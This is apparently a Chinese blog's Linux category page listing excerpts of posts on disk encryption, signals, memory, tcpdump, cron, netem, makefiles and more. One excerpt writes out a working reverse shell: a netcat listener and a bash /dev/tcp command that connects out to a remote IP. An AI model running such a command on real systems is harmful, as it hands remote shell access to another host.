linux
文章平均质量分 51
Johnblx
征实则效存,徇名则功浅
展开
-
centos 挂载磁盘并做磁盘加密
a) parted /dev/sdb // 选择要分区的磁盘 b) print // 磁盘信息查看 c) mklabel gpt // 创建磁盘分区表支持GPT d) mkpart primary 0% 100% e) print f) ...原创 2021-11-12 11:58:58 · 1420 阅读 · 0 评论 -
SIG_STOP waitpid
学习了脏牛漏洞的提权代码:子进程 被 SIG_STOP 后,他的状态变化,可以被父进程使用waitpid 捕获。( kill(getpid(), SIGSTOP);)如在在子进程里面又创建了线程, 那么子进程的这个主线程SIG_STOP后, 并不能使得子线程STOP。如果子进程一直处于STOP状态,没有被CONTINUE, 那么如果如进程退出了, 那么这个子进程会被唤醒的。...原创 2020-01-07 15:13:44 · 405 阅读 · 0 评论 -
linux SIGCHLD SIG_IGN
一个进程使用fork创建子进程,如果子进程退出,而父进程并没有调用 wait 或 waitpid获取子进程的状态信息,那么子进程的进程描述符仍然保存在系统中。这种进程称之为僵尸进程。子进程在退出时候会给父进程发送SIGCHLD 信号,1)父进程要不然会一直等待wait() ,等待子进程退出,回收资源,2) 要不父进程会异步执行其他任务, 在收到SIGCHLD 信号时候,...原创 2020-01-07 10:42:21 · 1140 阅读 · 0 评论 -
linux glibc malloc_trim(0)
在项目中发现进程的内存持续上升。首先确定这是不是一个内存泄露,1) gcc 的链接选项-Wl,--wrap,malloc -Wl,--wrap,free -Wl,--wrap,calloc -Wl,--wrap,realloc -Wl,--wrap,strdup -Wl,--wrap,strndup -Wl,--wrap,vasprintf 使用自己的内存池重写内存分配函数...原创 2020-01-03 16:24:06 · 6812 阅读 · 0 评论 -
linux /var/log/secure 安全日志
/var/log/secure 一般用来记录安全相关的信息,记录最多的是哪些用户登录服务器的相关日志,如果该文件很大,说明有人在破解你的 root 密码很多linux的新发行版已经不再使用,改为使用rsyslog。查看rsyslog的配置目录/etc/rsyslog.d...原创 2020-01-03 12:22:21 · 7650 阅读 · 0 评论 -
tcpdump
linux 普通用户默认是没有权限使用tcpdump的,所以需要root 用户赋权:root# setcap cap_net_raw=eip /usr/sbin/tcpdump不要为普通用户添加tcpdump的sudo权限,zhangsan ALL=(root) NOPASSWD: /usr/bin/awk, /usr/bin/less /tmp/abc.text, /us...原创 2019-12-30 14:04:08 · 1343 阅读 · 0 评论 -
反向 shell
nc -p 4444 -lvv监听在4444端口, 监听模式, 显示命令执行过程, 假设本机IP地址10.100.125.15bash -i >& /dev/tcp/10.100.125.15/44440>&1, 假设本机IP地址为10.100.125.14bash -i : bash的交互模式当>&后面接文件时,表示将标准输...原创 2019-12-27 10:54:47 · 667 阅读 · 0 评论 -
linux 定时任务
cron有两个配置文件,一个是一个全局配置文件(/etc/crontab),是针对系统任务的;一组是crontab命令生成的配置文件(/var/spool/cron下的文件),是针对某个用户的.定时任务配置到任意一个中都可以。查看用户下的定时任务:example:cat /var/spool/cron/root实例1:每1分钟执行一次command 命令:***...原创 2019-12-25 11:22:55 · 192 阅读 · 0 评论 -
软 中断 Irqbalance
ethtool --show-ntuple em2 rx-flow-hash udp4 UDP over IPV4 flows use these fields for computing Hash flow key: IP SA IP DA Irqbalance 在均衡软中断时候,并不会将UDP的端口号作为计算哈希值的参数,所以我们的测试环境中是使用一台...原创 2019-12-19 08:51:52 · 782 阅读 · 0 评论 -
gdb coredump 分析堆栈
1)对linux 环境做配置,当有异常生成coredump时候,指定coredump的命名格式和路径 ulimit -S -c unlimited >/dev/null 2>&1 echo '/tmp/core_%e.%p' > /proc/sys/kernel/core_pattern ulimit -c unlimited2)定位...原创 2019-12-16 13:15:02 · 940 阅读 · 0 评论 -
linux 弱网环境模拟
linux 环境,1)tc qdisc adddev eth0 root netem delay 100ms 10ms 将eth0网卡的传输设置为延迟100ms ± 10ms(90 ~ 110 ms之间的任意值)发送, 所有的包2)tc qdisc adddev eth0 root netem delay 100ms 10ms 10% ...原创 2019-12-11 15:10:45 · 1689 阅读 · 0 评论 -
Linux网络流量控制工具—Netem
第一篇:概念篇Netem是Linux 2.6及以上内核版本提供的一个网络模拟功能模块。该功能模块可以用来在性能良好的局域网中,模拟出复杂的互联网传输性能,诸如低带宽、传输延迟、丢包等等情况。使用Linux 2.6(或以上)版本内核的很多发行版Linux都开启了该内核功能,比如Fedora、Ubuntu、Redhat、OpenSuse、CentOS、Debian...转载 2019-12-06 16:09:47 · 1243 阅读 · 0 评论 -
linux 句柄数设置
shell级限制 通过ulimit -n修改,如执行命令ulimit -n 1000,则表示将当前shell的当前用户所有进程能打开的最大文件数量设置为1000.用户级限制 ulimit -n是设置当前shell的当前用户所有进程能打开的最大文件数量,但是一个用户可能会同时通过多个shell连接到系统,所以还有一个针对用户的限制,通过修改 /etc/security/limits.conf实现...转载 2018-09-28 19:33:49 · 1097 阅读 · 0 评论 -
linux c/c++ 程序崩溃时打印调用栈
本文章是在总结前人的帖子后实现的,经过验证是可以使用的。但是在个别信号下,还是不能详细的打印有效信息。void dump(void){ char szLog[MAX_LOG_LEN] = {0}; int j, nptrs; const int BACKTRACE_SIZE = 16; void *buffer[BACKTRACE_SIZE...转载 2018-04-27 16:29:46 · 4370 阅读 · 1 评论 -
socket linux
通常我们看到的socket是拆包后的,只能看到用户数据,原始套接字raw就是给你看最原始的,以方便你进行干预。从用户的角度来看,SOCK_STREAM、SOCK_DGRAM这两类套接字似乎的确涵盖了TCP/IP应用的全部,因为基于TCP/IP的应用,从 协议栈的层次上讲,在传输层的确只可能建立于TCP或UDP协议之上(图),而SOCK_STREAM、SOCK_DGRAM又分别对应于TCP和 UDP转载 2016-09-30 14:37:01 · 403 阅读 · 0 评论 -
线性地址转物理地址
二、线性地址转物理地址前面说了Linux中逻辑地址等于线性地址,那么线性地址怎么对应到物理地址呢?这个大家都知道,那就是通过分页机制,具体的说,就是通过页表查找来对应物理地址。准确的说分页是CPU提供的一种机制,Linux只是根据这种机制的规则,利用它实现了内存管理。在保护模式下,控制寄存器CR0的最高位PG位控制着分页管理机制是否生效,如果PG=1,分页机制生效,需通过页表查找才能把转载 2015-05-18 15:16:33 · 1172 阅读 · 1 评论 -
makefile include
makefile 中的include和c/c++中的include一样。在书写形式上独占一行include filename 在makefile中以tab键开始的是命令。所以include前面不要使用tab键。 makefile 中 := 相当于赋值语句,和c/c++语言中没有什么差别,不管赋值运算符右侧的数值以后怎么变化。但是 = 确是将右侧变量的最新值赋值原创 2013-05-16 12:06:26 · 1306 阅读 · 0 评论 -
PATH
普通用户登陆Linux的时候,一般情况下PATH环境变量不包含/sbin 目录因此当需要执行/sbin路径下的命令(比如ifconfig)时需要给PATH添上这一个路径。初用Linux时的时候我是新建的shell终端中用如下命令 PATH=$PATH:/sbin虽然这样也能使PATH包含/sbin路径了,但是,当再重启一个shell终端时PATH的值去并没有改变,当再次用到/sbin下的命转载 2013-05-22 10:19:48 · 908 阅读 · 0 评论 -
vim 命令和配置
在vim中查询某一个字符串的时候,使用n键可以调到下一个:nohl取消高亮 在/home/john/.vimrc下做如下配置set ignorecase smartcase " 搜索时忽略大小写,但在有一个或以上大写字母时仍保持对大小写敏感set hlsearch " 搜索时高亮显示被找到的文本原创 2013-05-07 23:58:06 · 861 阅读 · 0 评论 -
linux date +
data 命令为输出当前的时间 $ dateSat Jun 15 12:38:55 CST 2013如果想要输出某一个格式的话 $ /bin/date +%T12:39:52原创 2013-06-15 12:32:15 · 864 阅读 · 0 评论 -
makefile strip函数
strip :去空格函数$(strip string)翻译 2013-06-18 15:50:30 · 4546 阅读 · 0 评论 -
查看某一个shell脚本在什么位置 显示当前操作系统的名称
which makewhich hmake$ uname -sLinux原创 2013-06-19 12:54:30 · 1878 阅读 · 0 评论 -
make Makefile 指定Makefile文件中出现的头文件的搜索路径
make Makefile 指定Makefile文件中出现的头文件的搜索路径不包含 在makefile文件中源文件内容里面用include引入的头文件的搜索路径。原创 2013-07-10 13:24:54 · 6281 阅读 · 0 评论 -
makefile rule
makefile 目标文件这两种目标不会作为终极目标:目标的名称是以点号开头的,其后不存在斜线(这是 makefile 的特殊目标);模式规则的目标(包含模式字符 %)。原创 2013-06-19 09:43:14 · 986 阅读 · 0 评论 -
linux thread pthread_join
pthread_join翻译 2014-01-27 14:11:17 · 1307 阅读 · 0 评论 -
pthread_exit
1 void pthread_exit(void* retval); 终止调用它的线程并返回一个指向某个对象的指针。翻译 2014-01-27 15:24:24 · 777 阅读 · 0 评论 -
linux 内存链接脚本
可能的最简单的脚本只含有一个命令: 'SECTIONS'. 你可以使用'SECTIONS'来描述输出文件的内存布局.输入文件: 目标文件或链接脚本文件.输出文件: 目标文件或可执行文件.转载 2014-02-26 14:45:57 · 1037 阅读 · 0 评论 -
linux core
Linux core 文件介绍1. core文件的简单介绍在一个程序崩溃时,它一般会在指定目录下生成一个core文件。core文件仅仅是一个内存映象(同时加上调试信息),主要是用来调试的。2. 开启或关闭core文件的生成用以下命令来阻止系统生成core文件:ulimit -c 0下面的命令可以检查生成core文件的选项是否打开:ulimit -转载 2014-06-25 12:44:27 · 603 阅读 · 0 评论 -
linux 内存管理
前一段时间看了《深入理解Linux内核》对其中的内存管理部分花了不少时间,但是还是有很多问题不是很清楚,最近又花了一些时间复习了一下,在这里记录下自己的理解和对Linux中内存管理的一些看法和认识。我比较喜欢搞清楚一个技术本身的发展历程,简而言之就是这个技术是怎么发展而来的,在这个技术之前存在哪些技术,这些技术有哪些特点,为什么会被目前的技术所取代,而目前的技术又解决了之前的技术所存在的哪转载 2015-05-12 11:01:09 · 581 阅读 · 0 评论 -
linux 内存探测和初始化
1、内存探测 linux在被bootloader加载到内存后, cpu最初执行的内核代码是arch/x86/boot/header.S汇编文件中的_start例程,设置好头部header,其中包括大量的bootloader参数。接着是其中的start_of_setup例程,这个例程在做了一些准备工作后会通过call main跳转到arch/x86/boot/main.c:main()转载 2015-05-15 09:05:44 · 1042 阅读 · 0 评论 -
__attribute__
要了解Linux Kernel代码的分段信息,需要了解一下gcc的__attribute__的编绎属性或定义的函数或数,__attribute__主要用于改变所声明据的特性,它有很多子项,用于改变作用对象的特性。比如对函数,noline将禁止进行内联扩展、noreturn表示没有返回值、pure表明函数除返回值外,不会通过其它(如全局变量、指针)对函数外部产生任何影响。但这里我们比较感兴趣的是对代转载 2015-05-14 14:56:37 · 566 阅读 · 0 评论 -
linux内存管理初始化
转载2013-04-07 14:46:23分类: LINUX内存管理子系统是linux内核最核心最重要的一部分,内核的其他部分都需要在内存管理子系统的基础上运行。而对其初始化是了解整个内存管理子系统的基础。对相关数据结构的初始化是从全局启动例程start_kernel开始的。本文详细描述了从bootloader跳转到linux内核内存管理子系统初始化期间所做转载 2015-05-14 13:59:16 · 700 阅读 · 0 评论 -
msgrcv 系统调用
msgsnd/msgrcv功能描述在消息队列上进行收发消息。为了发送消息,调用进程对消息队列进行写入时必须有写权能。接收消息时必须有读权能。 int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg);ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, l原创 2013-04-09 09:16:35 · 1053 阅读 · 0 评论